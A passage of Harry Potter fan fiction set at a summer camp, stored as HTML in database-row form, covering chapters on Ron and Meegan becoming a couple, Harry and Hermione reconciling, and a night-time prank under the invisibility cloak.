&quot;Okay, well, bye then,&quot; she smiled, walking back toward her cabin. Her eyes will still trained on his.<br>\n\n\n<br>\n &quot;Bye,&quot; he watched her walk away too until their hands were forced to slip from each other\'s grasps. They walked apart watching each other until Meegan reached her cabin door and was forced to break her gaze to enter.<br>\n\n\n<br>\n Meegan entered with a dreamy look on her face. Both Hermione and Allison gave her a look of interest. Quickly glancing back at one another, they got up and immediately made their way over to Meegan. Their campers took no interest and continued to play cards.<br>\n\n\n<br>\n &quot;What just happened out there?!&quot; Hermione looked at her beaming friend.<br>\n\n\n<br>\n &quot;I think Ron and I just became a couple!&quot; she squealed.<br>\n\n\n<br>\n &quot;NO!!&quot; both girls screamed in excited disbelief.<br>\n\n\n<br>\n &quot;I know!&quot; Meegan squealed again followed by an excited giggle.<br>\n\n\n<br>\n &quot;What did he say?&quot; Hermione smiled.<br>\n\n\n<br>\n &quot;Did he kiss you?!&quot; Allison was also very excited for her cousin.<br>\n\n\n<br>\n &quot;He said he liked me and asked if we could go out sometime. And yes he did,&quot; she managed to answer their questions.<br>\n\n\n<br>\n &quot;He kissed you!?&quot; Allison said a bit too loudly. A few of their campers looked up in interest.<br>\n\n\n<br>\n &quot;No...&quot; the campers turned away, becoming disinterested again, &quot;well, not exactly. My cheek. He kissed my cheek, but that was all,&quot; she blushed.<br>\n\n\n<br>\n &quot;I am so excited for both of you! Ron\'s liked you since he got here,&quot; Hermione beamed.<br>\n\n\n<br>\n &quot;You knew! He liked me this whole time and you knew and didn\'t say anything!&quot; Meegan frowned.<br>\n\n\n<br>\n &quot;Sorry?&quot; Hermione shrugged with a sheepish smile.<br>\n\n\n<br>\n &quot;It\'s alright, it doesn\'t matter anyway,&quot; she smiled, &quot;I\'m just happy, that\'s all.&quot;<br>\n\n\n<br>\n &quot;Good, well I happy for you, both of you,&quot; Hermione smiled then went back to the girls.<br>\n\n\n<br>\n &quot;Now that\'s she\'s gone,&quot; Allison whispered, &quot;Does this mean we\'re on to Phase Two?&quot; An evil grin crossed her face.<br>\n\n\n<br>\n &quot;Of course! I already talked to Ron about it a bit earlier today. He said Harry likes her too!&quot; she whispered excitedly into her cousin\'s ear.<br>\n\n\n<br>\n &quot;No way! That\'s awesome!&quot; Allison beamed. &quot;This is going to be so perfect!&quot;<br>\n\n\n<br>\n &quot;I know I can\'t wait to get started on Phase Two!&quot; Meegan said as her and Allison went over to join Hermione and their campers playing cards.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;I did it!&quot; Ron whispered excitedly to Harry as he sat down next to his friend. The boys in his cabin were all on their own beds flipping through books and comics. Harry himself was masking a Quidditch book under the sheets. He\'d taken the cover off, but Ron recognized the embossed snitch left on the hard cover. &quot;I...Harry, put that away,&quot; Ron sighed. &quot;I thought we agreed...&quot;<br>\n\n\n<br>\n &quot;I\'ll let you borrow it later,&quot; Harry said, not looking up from his book.<br>\n\n\n<br>\n &quot;Okay!&quot; Ron succumbed to desire.<br>\n\n\n<br>\n &quot;So what was this task you accomplished?&quot; he still read.<br>\n\n\n<br>\n &quot;I asked Meegan out,&quot; he said with breathless excitement. He was so proud of himself, he could hardly contain it.<br>\n\n\n<br>\n &quot;Nooooo,&quot; Harry said in amazed shock. &quot;You mean to tell me our little Ronnie\'s finally grown up and got some balls?&quot; Harry burst out laughing at himself and at Ron\'s expense.<br>\n\n\n<br>\n &quot;Oh shut up, Harry,&quot; he grabbed a pillow next to him and thumped Harry in the head with it.<br>\n\n\n<br>\n &quot;So what made you do it?&quot; Harry finally put his book away, hiding it under the covers.<br>\n\n\n<br>\n &quot;I don\'t know. I liked her, she seemed to like me, so I asked her out,&quot; he looked a Harry for a moment and then continued, &quot;Which is more than I can say for you.&quot;<br>\n\n\n<br>\n &quot;What\'s that mean?&quot; Harry became defensive.<br>\n\n\n<br>\n &quot;That you like a certain best friend of ours and I bet she likes you back, but instead of following my lead, you\'ve been hiding like the dickens. That will get you very far, let me tell you,&quot; It was now Ron\'s turn to throw the verbal punches. He smiled. He was quite satisfied to have been able to fish up the wit to beat Harry on that one.<br>\n\n\n<br>\n &quot;I don\'t like her anymore,&quot; he countered, feeling around under the covers for his book so he could end the conversation.<br>\n\n\n<br>\n &quot;You said you nearly kissed her so you can\'t tell me you don\'t like her,&quot; Ron asked earnestly.<br>\n\n\n<br>\n &quot;You\'re not supposed to remember that,&quot; Harry mumbled flatly.<br>\n\n\n<br>\n &quot;Why are you avoiding her then?&quot; Ron asked.<br>\n\n\n<br>\n &quot;I don\'t think she likes me. She must think I\'m a terrible git to have tried doing that to her,&quot; he sighed, leaving the book still under the covers.<br>\n\n\n<br>\n &quot;Ok then, I have a question for you. Is all this avoiding worth losing her as a best friend over?&quot; Ron caught Harry\'s interest with this one as he looked up at him, &quot;That\'s what will happen. If you keep avoiding her like this, you might end up losing her for good.&quot;<br>\n\n\n<br>\n &quot;Ron that\'s not going to happen,&quot; Harry sat up from his reclined position against the wall.<br>\n\n\n<br>\n &quot;Good, then go do something about it!&quot; Ron commanded.<br>\n\n\n<br>\n &quot;Fine, I will!&quot; Harry stood up and stormed out of their cabin.<br>\n\n\n<br>\n &quot;Finally!&quot; Ron exclaimed as the door slammed behind Harry. &quot;He better be going to see her, or I\'m going to personally kick his ass when he gets back.&quot;<br>\n\n\n<br>\n ~*~</p>\n\n<p>Author&#8217;s note:</p>\n\n<p>I know this is mainly Ron and Meegan.. but it&#8217;s all in the setup.&nbsp; I PROMISE it&#8217;s T-2 episodes until what you&#8217;ve been waiting for, Chapter 10!&nbsp; Guaranteed what you want! ;)</p>\n\n<p>Also, if this is &#8216;moving slowly&#8217; for some of you, I like to do things realistically.&nbsp; Not all fic does, they just rush into the relationship.&nbsp; I don&#8217;t think that&#8217;s a really story.&nbsp; I like to develop characters, setting, and moods before jumping off stuff.&nbsp; If you don&#8217;t like that don&#8217;t read.&nbsp; Besides that, LUV YA REVIEWERS!</p> '),
	(134, 9, ' <p>~*~<br>\n\n\n<br>\n Part Nine<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry stormed down the path toward Hermione&#8217;s cabin. He\'d gotten just over halfway there when he stopped.<br>\n\n\n<br>\n &quot;This is stupid! Why am I doing this?&quot; he turned on his heels and began tearing his way back to his cabin.<br>\n\n\n<br>\n &quot;Ugh! This is ridiculous!&quot; he yelled at himself again turning back and hauling toward Hermione\'s cabin again.<br>\n\n\n<br>\n &quot;Wait,&quot; he stopped when he was three-quarters of the way there. &quot;Ugh, Potter you are an idiot!&quot; He was standing twenty feet from Hermione\'s cabin door talking to himself. &quot;Do it, just got talk to her. You\'re only going to talk to her!&quot;<br>\n\n\n<br>\n He sighed in frustration and shook his head. Looking up toward the cabin, he continued forward until he was within arms-length on the doorknob. He stared at it for a moment before making a move to turn and run back to his own cabin. &quot;Potter, quit this and knock.&quot; He stopped himself in mid turn and solemnly faced the door.<br>\n\n\n<br>\n &quot;This is not a difficult decision, so why are you so afraid you git?!&quot; he\'d yet to realize he was still talking out loud to himself. &quot;Hermione is your best friend. You have NO problem talking to her.&quot;<br>\n\n\n<br>\n He reached for the door knob when it flew open.<br>\n\n\n<br>\n &quot;Hermione!&quot; he gasped in shock. She was standing in front of him giving him a strange look.<br>\n\n\n<br>\n &quot;I thought I\'d heard someone out here,&quot; she said. Her voice had slowly tapered so by the end of her sentence until she was nearly whispering. Her expression had also changed. Harry couldn\'t quite place it, but for some reason, she looked nervous.<br>\n\n\n<br>\n &quot;Just me...&quot; he said in the same soft tone as Hermione. He was frozen in front of her like a deer in headlights. It was too late now to turn and run back to his cabin. And if he did, she\'d just think he was crazier than ever and it\'d put their friendship even worse off. After all, who runs away from their best friend? Harry gulped and kept staring at her instead.<br>\n\n\n<br>\n &quot;What?&quot; she finally managed to find her voice, &quot;You\'re...you\'re staring.&quot; She swallowed a bit too. Harry\'s direct gaze was making her a bit weak in the knees. &quot;Do I have a bug in my hair?&quot; She giggled as she broke his concentration.<br>\n\n\n<br>\n &quot;Oh, no,&quot; Harry laughed too. &quot;I just came by to say,&quot; he cleared his throat for a moment, &quot;to say that...well, I\'m sorry for ignoring you. Not that I was ignoring you!&quot; He covered quickly. \'Idiot! Watch what you say!\' &quot;I meant I haven\'t been ignoring you, I just, I\'ve been...busy...and if it\'s seemed like that, well, I apologize. You must know what I mean. It\'s hard watching all these kids,&quot; he smiled. He hoped she couldn\'t see the beads of sweat he was certain adorned his forehead. He was still extremely nervous as he awaited her reaction.<br>\n\n\n<br>\n She looked up at him. When he noted her face, something surprised him about it. Her eyes were all misty like they were tearing up. He\'d upset her; that was the only thing he could come up with. &quot;Oh, Harry!&quot; She suddenly threw her arms around his neck.<br>\n\n\n<br>\n Harry was surprised at first, but the feeling of her in his arms brought him back to his senses. Quickly, he let his arms slide around her. He held her firmly pressed up against him, enough so that he could feel they\'d instantly begun to breathe in simpatico. It felt so good. He\'d missed everything about her. Her voice, her scent, and especially right now, the way she felt in his arms.<br>\n\n\n<br>\n It felt like it had been forever before they finally pulled apart from one another.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Hermione felt a bit embarrassed as she pulled away from Harry, but being so close to him again, her feelings for him washed away her anxiety. She\'d ever forgiven herself for impulsively hugging him. All she could do now, however, was take in the sight of his beautiful face. She\'d been so stupid. This was her best friend. And here she\'d been, ignoring him and all, and the poor boy had come over and taken the full blame for it.<br>\n\n\n<br>\n &quot;Harry, don\'t be sorry. I\'ve been avo...&quot; she stopped; she didn\'t want to admit she\'d been avoiding him. &quot;It\'s my fault. I haven\'t been around for you. You\'re right, it\'s been...overwhelming.&quot; She didn\'t mean her campers however; she was speaking about her feelings for him. He just didn\'t need to know what had been so overwhelming for her.<br>\n\n\n<br>\n &quot;\'Mione, it\'s not your fault. If anyone is at fault, just let it be me. I don\'t want you to feel badly about anything,&quot; his eyes pleaded her. She couldn\'t quite gauge the emotion that she read in them.<br>\n\n\n<br>\n &quot;But Harry,&quot; she began.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Hermione, no. Just leave it alright? We needn\'t worry about it anymore okay?&quot; he smiled at her. &quot;Why don\'t we just agree we lo...&quot;<br>\n\n\n<br>\n \'Oh SHIT!\' Harry thought to himself. He\'d nearly told her he loved her. \'Don\'t panic, Potter...cover your ass!\'<br>\n\n\n<br>\n &quot;Agree that we LOST sight of what was important, and that\'s our friendship,&quot; he breathed a great sigh of relief as he choked out that last part. \'Please don\'t let her have notice,\' he winced inwardly for a moment as he waited to hear how she would respond.<br>\n\n\n<br>\n She gave him a puzzled look for a split-second but then responded, &quot;You\'re right. Friends?&quot; She gave him her trademark winning smile as she extended her hand with a giggle.<br>\n\n\n<br>\n &quot;Friends,&quot; he laughed too as he took her hand and shook it. He smiled as he tried to ignore the strong tingly feeling he was getting from holding her hand. He wondered if she felt it too as he saw her jump a small bit as their hands connected. He shook it off. \'Just be yourself, Potter. Now what would you do if you were at Hogwarts in the same situation and it was just you and \'Mione, best friends.\'<br>\n\n\n<br>\n &quot;Hey,&quot; he smiled, taking a tighter hold on her wrist and quickly tugged her into another hug. &quot;We\'re best friends, and we will be forever,&quot; he spoke into her hair. It smelled like strawberries. Harry inhaled deeply, taking in the sweet scent, hoping Hermione wouldn\'t notice. Sure he was being greedy, but he just needed to be close to her. It had been much too long. He was used to spending everyday with her. Even in the past few summers, they\'d owled each other as quickly as Hedwig could get back and forth between them.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n \'That\'s right,\' thought Hermione. \'This is your *best friend* Harry. Just because he\'s gorgeous and kind and his deodorant or cologne or whatever he\'s wearing smells so good doesn\'t mean you can\'t just be friends. I hope some of his smell rubs off on my shirt,\' Hermione smiled to herself. She didn\'t want to be anywhere else but in his arms at that moment. She knew she was hopeless; she\'d just have to hide her feelings if it meant always being able to see Harry. If they couldn\'t be together, at least they\'d always be friends. And never losing that was worth never having Harry as anything more.<br>\n\n\n<br>\n &quot;Hermione??&quot; Meegan\'s voice cut through the silence as she creaked open the door and accidentally interrupted Harry and Hermione. They pulled away quickly, both blushing furiously. &quot;Oh, I\'m sorry!&quot; she covered quickly, taking a step back into the cabin. \'Damnit Meeg,\' she chastised herself, \'who knows what you just interrupted!\' She sighed to herself. &quot;I just wanted to let you know we were heading to supper in a minute. You might want to come in and get ready,&quot; she frowned at what she was saying. She didn\'t want to stop anything that could have been happening. &quot;See you in a bit,&quot; she added as she snuck back into the cabin and softly clicked the door behind her.<br>\n\n\n<br>\n Hermione looked up at Harry. She was still blushing a bit. &quot;Thanks for coming over. I\'m really glad we got the chance to talk. I don\'t want it to be another week before we do again.&quot;<br>\n\n\n<br>\n &quot;I promise.&nbsp; There\'s nothing more important than spending time with you,&quot; he smiled turning to walk away, before he did, he turned back and added, &quot;See you then.&quot;<br>\n\n\n<br>\n &quot;Bye Harry,&quot; she smiled as he walked off toward his cabin with his hands in his pockets.<br>\n\n\n<br>\n Hermione watched him for a moment before going back into her cabin. As soon as she did, Meegan charged her and frantically began prodding her for answers.<br>\n\n\n<br>\n &quot;I didn\'t...interrupt anything, did I?&quot; she seemed very excited, &quot;I mean, you two weren\'t...doing anything, were you?&quot; Meegan blushed a bit.<br>\n\n\n<br>\n &quot;Nothing was happening besides Harry coming over to apologize for being distant this past week,&quot; Hermione blushed. \'As per usual, I let myself get too swept up in his presence. That was all it was, both of us not wanting to lose a friendship. Not that anything was getting lost,\' she began mentally analyzing her and Harry\'s conversation, \'That\'s how strong our friendship is. Always keeping close is the most important to both of us,\' she smiled, satisfied with her analysis.<br>\n\n\n<br>\n &quot;Oh?&nbsp; Why was he being distant?&quot; she seemed interested.<br>\n\n\n<br>\n &quot;It wasn\'t his fault, I took blame as well. We were both just too busy this week, that\'s it,&quot; she blatantly lied about why she was acting the way she had.<br>\n\n\n<br>\n &quot;Oh,&quot; Meegan seemed upset. &quot;Anyway, shall we head up for supper?&quot; She quickly changed the subject. Hermione agreed and they gathered up their campers and left.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;I said it before, a lot, and I\'ll say it again, you\'re an idiot!&quot; Ron chastised Harry as he finished telling him what had gone on between him and Hermione. &quot;Really now, what\'s the worst that could happen if you admitted your feeling to her?&quot;<br>\n\n\n<br>\n &quot;I don\'t want to get into this again, Ron,&quot; he stuck in head under his bed and began digging around in his bags for a sweatshirt.<br>\n\n\n<br>\n &quot;She\'ll be mad; is that what you\'re worried about? Even if she was, you know it would be only for a week or so. That girl is too smart to ruin your friendship. She\'d let it go. Isn\'t that what you two just discussed? Being friends no matter what?&quot; Ron said pointedly. He was determined to win, eventually.<br>\n\n\n<br>\n &quot;Which is why we should remain just that; friends and only friends. I can\'t lose her,&quot; he stated simply.<br>\n\n\n<br>\n &quot;But you\'re not going to!&quot; Ron sighed in exasperation.<br>\n\n\n<br>\n &quot;Isn\'t it time to eat?&quot; Harry emerged from under his bed holding a blue hooded sweatshirt. Ron sighed as Harry called for their campers. Once everyone was assembled, they left for the lodge to eat supper.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Hey,&quot; Ron smiled taking a seat next to Meegan at campfire. He and Patrick had led their campers to the wooden benches encircling the fire pit earlier than usual, giving Ron some time to visit with Meegan. Harry was late. He\'d lagged behind with a camper who couldn\'t find his shoe.<br>\n\n\n<br>\n &quot;Hey yourself,&quot; she smiled as he sat down. He didn\'t want to draw too much attention from any of the camp directors, so he\'d sat as close as possible to Meegan; their hands resting partially on top of each others, rather that hold it outright or put and arm around her. &quot;Any breakthroughs?&quot; She asked suggestively about Harry and Hermione.<br>\n\n\n<br>\n &quot;Maybe a regression,&quot; he sighed, running his pinky up and down her\'s calmingly. &quot;I don\'t know about those two. Harry said he spoke with her, made amends for being an ass the past week, but he refuses to own up to his feelings still. His new excuse isn\'t to deny them, but rather to say he\'ll \'ruin their friendship\'. I swear that git is all excuses.&quot; Ron looked rather perturbed at his friends&#8217; mutual idiocy.<br>\n\n\n<br>\n &quot;Hermione\'s not much better. She said the same thing Harry told you. I just wish those two would say something. As soon as one of them does, the other will blurt it out too and they\'ll be snogging faster than you can say \'couple\',&quot; she sighed as well.<br>\n\n\n<br>\n &quot;No kidding,&quot; he rolled his eyes. &quot;And it\'s not as if we can just tell one of them the other likes them. First off neither would believe us; the way they\'re carrying on. Secondly, they\'d probably think we were playing a mean trick on them and stop talking to us. Bloody good that would do.&quot;<br>\n\n\n<br>\n &quot;I do see your point,&quot; Meegan sighed. They\'d have to come up with a way to get those two to admit their feelings, on their own.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry led Joshua, one of his campers, down the darkened path to campfire. Glancing at his watch, he saw they weren\'t yet late. Still they hustled though, just to be sure. As they spotted their group, Harry noticed Ron had naturally led them next to Hermione and Meegan\'s group and that he was currently deep in conversation with Meegan. Joshua ran off to sit next to his friends leaving Harry to spot a seat.<br>\n\n\n<br>\n Glancing at the full benches he noticed there was one seat left open, next to Hermione. He smiled as he walked over. &quot;Is this seat taken?&quot; he joked as he sat down.<br>\n\n\n<br>\n Hermione, who\'d been sitting with her hands on her chin and staring into the flames, shot her head up startled by Harry\'s sudden appearance, &quot;Oh, hello Harry. No of course not,&quot; she looked as if she blushed, but Harry waved it off, assuming it was the glow of the fire dancing off her skin.<br>\n\n\n<br>\n Harry watched her for a moment and then looked up at the sky. The stars above were twinkling brightly. He looked back over at Hermione; she\'d too tipped her head heavenward. Harry assumed she must have wanted to see whatever it was he was looking at. &quot;They\'re beautiful tonight, aren\'t they?&quot; He looked back up.<br>\n\n\n<br>\n &quot;They are,&quot; she said softly.<br>\n\n\n<br>\n Harry, still looking up, shifted his weight to ease the crane on his neck. He\'d began to slide his hand toward Hermione, to adjust his seating position, when it came into contact with something soft and smooth. It took him a second to realize it was Hermione\'s hand. At the contact, they both snapped their hands back; and their heads back, looking directly at each other. For a moment, Harry didn\'t know what to do. Should he apologize? Hermione\'s reaction wasn\'t helping much either. She was giving him a rather curious look. Almost as if to ask why he\'d been so embarrassed; like she was that undesirable. Before he could open his mouth, however, the slight sad tinge in her eyes disappeared and was filled with her own embarrassment.<br>\n\n\n<br>\n &quot;Okay, campfire time!!!!!!!!!!!!&quot; Greg bellowed over everyone. He was standing at the helm by the fire, ready to start some singing. Harry and Hermione\'s trance was once again broken as they turned their attention toward Greg.<br>\n\n\n<br>\n \'What was that?\' Harry wondered as Greg began to ask the campers for recommendations as to what to sing first. \'Hermione didn\'t just...no, she couldn\'t have felt something too, could she have?\' Harry droned Greg out and became lost in his own thought. He was so confused. He\'d never acted like this around a girl he liked before. When he\'d asked Rebecca out, it had been easy. But then again, he\'d had nothing to lose. Hermione however, well she meant everything to him. And it\'s not like this was a new development. He knew he\'d liked her for quite some time now. Maybe that\'s why it had been so easy for him to ask out other girls. He knew that his heart wasn\'t really it in so there was no way he could get truly hurt. Hermione, however, was dangerous. If she knew the power she held over him, he\'d be in a world of danger. He was utterly, hopelessly, in love with her. \'Why is this so difficult?!\' Harry sighed out loud to accompany his thoughts. What frustrated him most is he knew what he had to do. If he didn\'t at least attempt something with Hermione, he\'d drive himself insane for the rest of his life. \'Okay, we\'ll make a deal,\' Harry spoke to himself. He wasn\'t going to go insane over this. \'Tomorrow...this week, I can\'t do this...FINE! Before we leave camp, I will tell Hermione how I feel.\' At his own admission, Harry felt a wave of relief wash over him. Now all that was left to do, was work up the nerve to actually say something to Hermione.<br>\n\n\n<br>\n &quot;Like that\'ll ever happen,&quot; Harry scoffed at himself.<br>\n\n\n<br>\n &quot;What was that?&quot; Hermione broke from her song, uponing Harry speak next to her after being silent for a few minutes.<br>\n\n\n<br>\n Harry froze. He wondered how much he\'d said out loud. &quot;Did I say something?&quot; His eyes were still big. \'Please don\'t let her have heard me,\' he silently begged whoever was listening.<br>\n\n\n<br>\n &quot;You said, \'like that\'ll ever happen\'....Like what?&quot; she inquired. Her voice was soft, but he knew it so well, he could easily pick it out from the overbearing singing voices around them.<br>\n\n\n<br>\n &quot;Oh, nothing,&quot; he offered a small smile as another wave of relief washed over him. This time, it was in relief of Hermione not having realized he\'d been debating his feelings for her the past few minutes. She smiled and turned back to singing again. It wasn\'t going to be easy for him, but Harry was finding new determination in himself. She inspired him, just by being in his presence. \'Eventually...\' he smiled as he watched her sing.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n end of chapter nine<br>\n\n\n<br>\n So as per usual, your reviews are not mandatory, but as any author can tell you, they mean soooo much to a writer! Sooo, if you feel inclined, please take just a minute to review! Whether you sign in or not, I still love ya!</p>\n\n<p>As promised, next chapter has what you&#8217;ve been waiting for a lots of fun to ensue!</p> '),
	(134, 10, ' <p>As promised, here comes the turn in the story!</p>\n\n<p>~*~</p>\n\n<p>Chapter 10: Late Night Endeavors</p>\n\n<p>~*~</p>\n\n<p>&quot;Ron!&quot; hissed Harry. He was standing atop his bed so he could see up to where Ron lay on the bunk above him.<br>\n\n\n<br>\n Ron rolled in his sleep a bit and made a sort of snorting noise.<br>\n\n\n<br>\n &quot;Ron, wake up,&quot; Harry whispered again.<br>\n\n\n<br>\n Tomorrow would be the first day of July. It had been two weeks since Harry had nearly kissed Hermione. Since then, he\'d still yet to act on his resolution. Not that they didn\'t spend time together, though. Since Ron and Meegan had become fairly inclusive in their new relationship, Harry and Hermione were left to spend a lot of time together. Easily, they had shifted back into their pattern of being best friends; both still trying their best to deny what they felt for each other.<br>\n\n\n<br>\n &quot;Get up you git!&quot; hissed Harry again, this time poking Ron while trying not to fall on his perch on the bed.<br>\n\n\n<br>\n &quot;It\'s summer, I don\'t like french toast in the evening, Mum,&quot; Ron mumbled in his sleep.<br>\n\n\n<br>\n Harry stifled a laugh, then jabbed his friend again, &quot;Get up!&quot;<br>\n\n\n<br>\n &quot;Wha...what?&quot; Ron sat up startled.<br>\n\n\n<br>\n &quot;Finally,&quot; sighed Harry, taking a step down off his bed to the floor.<br>\n\n\n<br>\n &quot;Harry? What time is it?&quot; asked Ron in a sleepy tone. He stretched and rubs his eyes a bit.<br>\n\n\n<br>\n &quot;<st1:time minute="0" hour="14">Two o\'clock</st1:time> in the morning,&quot; said Harry, getting down on his knees and pulling out his luggage bag from under his bed.<br>\n\n\n<br>\n &quot;Well why in bloody hell did you wake me then?&quot; hissed Ron, starting to become a bit more coherent.<br>\n\n\n<br>\n &quot;Shhhh...Lower your voice and get down here,&quot; said Harry, fishing around in his bag.<br>\n\n\n<br>\n &quot;What for?&quot; Ron climbed out of the covers and lazily slid over the edge, hitting the floor with a dull thud.<br>\n\n\n<br>\n &quot;We\'re going out,&quot; grinned Harry wickedly.<br>\n\n\n<br>\n &quot;To do what?&quot; Ron gave him an interested look.<br>\n\n\n<br>\n &quot;We\'re going to pull pranks!&quot; said Harry excitedly.<br>\n\n\n<br>\n &quot;Brilliant!&quot; smiled Ron. His smile slowly faded a bit as Harry still dug in his bag. &quot;How are we going to do this, and not be seen?&quot;<br>\n\n\n<br>\n &quot;We\'re going to use this!&quot; Harry whipped something silky and shiny out from between folded sweaters in his bag.<br>\n\n\n<br>\n &quot;But that\'s your invisibility cloak!&quot; Ron whispered excitedly. &quot;How\'d you manage to sneak it in here?!&quot;<br>\n\n\n<br>\n &quot;I tucked it between some clothes and hoped Hermione wouldn\'t catch sight of it while she searched our things for enchanted items,&quot; he looked rather pleased with himself for sneaking the cloak in successfully.<br>\n\n\n<br>\n &quot;I have loads of great pranks I learned from Fred and George!&quot; said Ron and he slid on a pair of shoes and a sweater.<br>\n\n\n<br>\n &quot;Excellent,&quot; smiled Harry, sliding on his shoes as well.<br>\n\n\n<br>\n When they were both ready, they nodded and left the cabin, creaking the door closed as silently as they could as not to wake anyone else in the cabin.<br>\n\n\n<br>\n They exited and snuck around the corner all while looking to make sure no one was around. As soon as they were certain they wouldn\'t be seen, Harry threw the invisibility cloak over them and they vanished into the night.<br>\n\n\n<br>\n &quot;So what\'s the plan?&quot; whispered Ron at a nearly inaudible level as they snuck toward the girls\' side of camp.<br>\n\n\n<br>\n &quot;I have a few things in my pockets,&quot; whispered Harry back. &quot;I think we should maybe borrow some toilet paper from bathrooms too.&quot;<br>\n\n\n<br>\n &quot;Definitely!&quot;<br>\n\n\n<br>\n After sneaking into the bathroom and stealing a few rolls of toilet paper, the pair made their way over to Hermione and Meegan\'s cabin.<br>\n\n\n<br>\n &quot;Here,&quot; Harry handed Ron a roll of toilet paper. They both grinned evilly and then began throwing the rolls back and forth over the roof of the cabin until they ran out of paper. When they were done, the roof was a fluttering white mass.<br>\n\n\n<br>\n &quot;What\'s next?&quot; asked Ron while Harry dug around in his pockets.<br>\n\n\n<br>\n Harry produced a roll of duct tape, &quot;We\'re taping them in!&quot;<br>\n\n\n<br>\n Ron grinned as they crept over to the door and began taping it shut. Next, they moved on to all of the windows. Eventually, every possible exit was taped up tight.<br>\n\n\n<br>\n &quot;Here,&quot; Harry handed Ron a tube of shaving cream.<br>\n\n\n<br>\n &quot;What shall we write?&quot; smirked Ron. He loved being the one actually pulling pranks rather than getting them pulled on him, as it was usually the case.<br>\n\n\n<br>\n &quot;I hadn\'t thought that far ahead,&quot; blushed Harry into the night.<br>\n\n\n<br>\n &quot;What?&quot; said Ron; his hand perched in midair on the trigger, waiting to spray the thick, foamy substance all over the outside of the cabin.<br>\n\n\n<br>\n &quot;I...&quot;<br>\n\n\n<br>\n Harry was interrupted by a loud rattling at the door. Harry and Ron froze; they were three feet on the other side of it.<br>\n\n\n<br>\n &quot;HEY!&quot; they heard a yell emerge from inside.<br>\n\n\n<br>\n &quot;Shit,&quot; mumbled Ron. He fumbled around in his pocket to find the cap to the shaving cream to cap it before they ran off. However in doing so, he dropped the shaving cream. It rolled until it hit the door.<br>\n\n\n<br>\n Two female voice came from inside as the pounding on the door continued. They were now presumably ramming their shoulders into the door to un-jar it as the sounds from inside indicated.<br>\n\n\n<br>\n &quot;Grab it!&quot; Harry\'s eyes widened as he watched the can roll away from Ron\'s grasp.<br>\n\n\n<br>\n &quot;I didn\'t mean to drop...&#8221; Ron\'s words were cut off as the door burst open with a bang. It hit Ron and Harry and knocked them flat on their backs.<br>\n\n\n<br>\n Suddenly two screams echoed as the girls in the doorway saw two pairs of feet emerge out of thin air and appear in the darkness.<br>\n\n\n<br>\n Ron and Harry both yelled in shock back at the girls. They flew to their feet and scrambled to get the cloak back over themselves. In doing so, Ron stepped on the corner of the cloak; his foot becoming tangled in it. With another yell, he fell over sideways into Harry. The pair landed in a mass, the cloak only covering their middles.<br>\n\n\n<br>\n The yells from the girls subsided and instead, the extremely angry voice of Hermione filled the air.<br>\n\n\n<br>\n &quot;HARRY! RON!&quot; she growled, pulling the younger girl out of the cabin with her and shutting the door behind her, hoping no one else had woken up.<br>\n\n\n<br>\n They looked up at her. While falling, Harry had accidentally pushed the trigger on the can of shaving cream he\'d been holding. The cans contents were now splayed all over Harry and Ron. Besides the shaving cream, there was dirt and pine needles sticking everywhere. To make matters worse, Hermione was giving them one of the nastiest death glares they\'d ever received from her before.<br>\n\n\n<br>\n &quot;I cannot believe you two,&quot; hissed Hermione as she hovered over them. &quot;You promised you wouldn\'t sneak anything magical into camp! And here you are with you invisibility cloak! UGH!&quot; She threw her hands up in aggravation, stomping around them.<br>\n\n\n<br>\n Ron and Harry took the opportunity to stand up and attempt to brush some of the junk off of them.<br>\n\n\n<br>\n &quot;I just can\'t believe you two! And look at our cabin!&quot; she fumed. Behind Hermione, a young brunette followed her every move while gazing at Harry with interest. &quot;First I catch you in...in that cloak!! And to top it off you\'re pulling pranks!!&quot;<br>\n\n\n<br>\n &quot;Um&#8230;Hermione,&quot; said Harry, watching the young girl.<br>\n\n\n<br>\n &quot;WHAT?!&quot; she snapped. She was still thinking of some way to punish the two of them.<br>\n\n\n<br>\n &quot;Maybe you should mention you-know-what with a camper around,&quot; Harry\'s eyes were widened in fear.<br>\n\n\n<br>\n Ron too had caught on and watched the girl with apprehension.<br>\n\n\n<br>\n &quot;Oh, that\'s just Juliet,&quot; said Hermione, waving it off, &quot;Now as for you two!&quot; She glared at them.<br>\n\n\n<br>\n &quot;Juliet?&quot; interrupted Ron. Neither he nor Harry still understood why Hermione didn\'t care.<br>\n\n\n<br>\n &quot;Didn\'t I ever tell you two? This is Juliet Brown. She\'s Lavender\'s younger sister. She\'ll be going to school with us next year,&quot; said Hermione casually before letting her cross look come back. They knew she was planning something dreadful to do to them.<br>\n\n\n<br>\n &quot;Hi,&quot; Juliet mumbled shyly.<br>\n\n\n<br>\n Ron and Harry just stared at her, trying to comprehend all that Hermione had told them. They were still watching her out of the corner of their eyes as well. She looked terribly upset and they wanted to escape her wrath as soon as they possibly could.<br>\n\n\n<br>\n &quot;You\'re Harry Potter,&quot; Juliet grinned.<br>\n\n\n<br>\n &quot;Yes.&quot;<br>\n\n\n<br>\n &quot;Wow...&quot; she mumbled, gazing at him, still in awe.<br>\n\n\n<br>\n &quot;Another member of you fan club,&quot; Ron whispered into Harry\'s ear. Harry threw an elbow into Ron\'s gut and he replied with an \'Umph!\' while grabbing his stomach.<br>\n\n\n<br>\n &quot;We need to...leave...now,&quot; said Harry as he and Ron began taking sideways steps toward their cabin.<br>\n\n\n<br>\n &quot;Oh no you don\'t! Not until I\'m through with you Harry Potter!&quot; steamed Hermione. With a frown, she stomped over to him. &quot;You\'re coming with me!&quot; She grabbed him by the shirt sleeve and began dragging him away.<br>\n\n\n<br>\n Ron and Juliet watched as they disappeared down the trail toward the Recreation &amp; Sports shed down the path.<br>\n\n\n<br>\n Ron looked at Juliet uncomfortably as Harry and Hermione vanished behind the side of the shed; leaving him and Juliet alone in the night.<br>\n\n\n<br>\n &quot;So, Ronniekins,&quot; she began with a sly look.<br>\n\n\n<br>\n Ron\'s eyes widened in fright as his fingers tightened on the invisibility cloak in his fingers that Harry\'d left with 